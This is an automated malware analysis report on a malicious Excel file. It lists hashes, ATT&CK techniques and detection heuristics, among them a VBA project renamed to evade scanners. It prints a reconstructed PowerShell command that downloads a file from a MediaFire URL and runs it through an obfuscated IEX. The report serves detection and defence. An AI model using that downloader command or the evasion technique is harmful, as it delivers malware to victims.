Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 d4364341b4da4a8e…

MALICIOUS

Office (OOXML) / .XLSX

13.2 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2022-11-09
MD5: 34a0b8839e1166b991a65d8c544362eb SHA-1: 9af5b21b4bc5c17f891ada831203a900dc0d12d3 SHA-256: d4364341b4da4a8e811e4fb96817c81d80473bf580cbee83355dcaef2718b907
62 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML file contains a VBA macro that is obfuscated using multiple replace functions. The macro attempts to download and execute a file from the URL 'https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file'. The reconstructed command is 'iwr -uri https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file -UseB -UseDefaultCredentials | &('MMM'.replace('MMM','I')+'dildo'.replace('dildo','EX'))', indicating a downloader functionality.

Heuristics 3

  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/jdfhdjf.+_--___-_-)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.mediafire.com/file/b987f1i3css0lhl/4.txt/file

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
b704d320b2b52436a5240c07cfb32dd6b7c6b19737e1390a64504e38708df986
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10382 bytes
vbaProject_00.bin
8354f7c40b6b08a6804efb86a3bfc89d43567239b6d10ca63e204daf8fd4c044
vba-project OOXML VBA project: xl/jdfhdjf.+_--___-_- 20480 bytes